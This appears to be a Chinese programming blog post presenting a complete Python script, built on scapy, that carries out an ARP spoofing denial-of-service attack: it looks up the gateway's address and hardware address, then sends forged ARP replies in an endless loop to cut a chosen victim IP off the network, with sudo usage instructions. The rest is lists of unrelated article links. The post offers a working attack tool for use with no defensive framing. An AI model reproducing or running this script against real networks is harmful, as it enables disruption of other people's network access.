python写的ARP攻击代码实例


Posted in Python onJune 04, 2014

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]
def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]
def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)
def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()
Python 相关文章推荐
python 递归遍历文件夹,并打印满足条件的文件路径实例
Aug 30 Python
Diango + uwsgi + nginx项目部署的全过程(可外网访问)
Apr 22 Python
Python selenium实现微博自动登录的示例代码
May 16 Python
解决Python 命令行执行脚本时,提示导入的包找不到的问题
Jan 19 Python
python3.6下Numpy库下载与安装图文教程
Apr 02 Python
解决Django删除migrations文件夹中的文件后出现的异常问题
Aug 31 Python
python将print输出的信息保留到日志文件中
Sep 27 Python
Django实现基于类的分页功能
Oct 31 Python
Python编写一个验证码图片数据标注GUI程序附源码
Dec 09 Python
python“静态”变量、实例变量与本地变量的声明示例
Nov 13 Python
python Tkinter的简单入门教程
Apr 11 Python
Python爬虫网络请求之代理服务器和动态Cookies
Apr 12 Python
python和C语言混合编程实例
Jun 04 #Python
python实现的一个p2p文件传输实例
Jun 04 #Python
python实现文件分组复制到不同目录的例子
Jun 04 #Python
python实现的udp协议Server和Client代码实例
Jun 04 #Python
Python实现同时兼容老版和新版Socket协议的一个简单WebSocket服务器
Jun 04 #Python
Python程序员鲜为人知但你应该知道的17个问题
Jun 04 #Python
Python和Ruby中each循环引用变量问题(一个隐秘BUG?)
Jun 04 #Python
You might like
php与java通过socket通信的实现代码
2013/10/21 PHP
php实现的支持imagemagick及gd库两种处理的缩略图生成类
2014/09/23 PHP
php三元运算符知识汇总
2015/07/02 PHP
Laravel 5.2 文档 数据库 ―― 起步介绍
2019/10/21 PHP
javascript获得CheckBoxList选中的数量
2009/10/27 Javascript
分享精心挑选的12款优秀jQuery Ajax分页插件和教程
2012/08/09 Javascript
js前台分页显示后端JAVA数据响应
2013/03/18 Javascript
Node.js中HTTP模块与事件模块详解
2014/11/14 Javascript
jQuery使用load()方法载入另外一个网页文件内的指定标签内容到div标签的方法
2015/03/25 Javascript
JQuery解析XML数据的几个简单实例
2016/05/18 Javascript
关于javascript的一些知识以及循环详解
2016/09/12 Javascript
webpack学习教程之前端性能优化总结
2017/12/05 Javascript
原生js实现省市区三级联动代码分享
2018/02/12 Javascript
vue-swiper的使用教程
2018/08/30 Javascript
Python并发编程协程(Coroutine)之Gevent详解
2017/12/27 Python
快速查询Python文档方法分享
2017/12/27 Python
python获取文件路径、文件名、后缀名的实例
2018/04/23 Python
pandas 空的dataframe 插入列名的示例
2018/10/30 Python
在Python中关于使用os模块遍历目录的实现方法
2019/01/03 Python
python Django编写接口并用Jmeter测试的方法
2019/07/31 Python
从多个tfrecord文件中无限读取文件的例子
2020/02/17 Python
python对文件的操作方法汇总
2020/02/28 Python
jupyter notebook 恢复误删单元格或者历史代码的实现
2020/04/17 Python
python实现斗地主分牌洗牌
2020/06/22 Python
Python如何发送与接收大型数组
2020/08/07 Python
python实现梯度下降算法的实例详解
2020/08/17 Python
介绍Java的内部类
2012/10/27 面试题
婚假请假条格式及范文
2014/04/10 职场文书
节约粮食标语
2014/06/18 职场文书
HR求职自荐信范文
2014/06/21 职场文书
小学国旗下的演讲稿
2014/08/28 职场文书
优秀教研组申报材料
2014/12/26 职场文书
2015年学校财务工作总结
2015/05/19 职场文书
浙江省杭州市平均工资标准是多少?
2019/07/09 职场文书
nginx 配置缓存
2022/05/11 Servers
Python加密与解密模块hashlib与hmac
2022/06/05 Python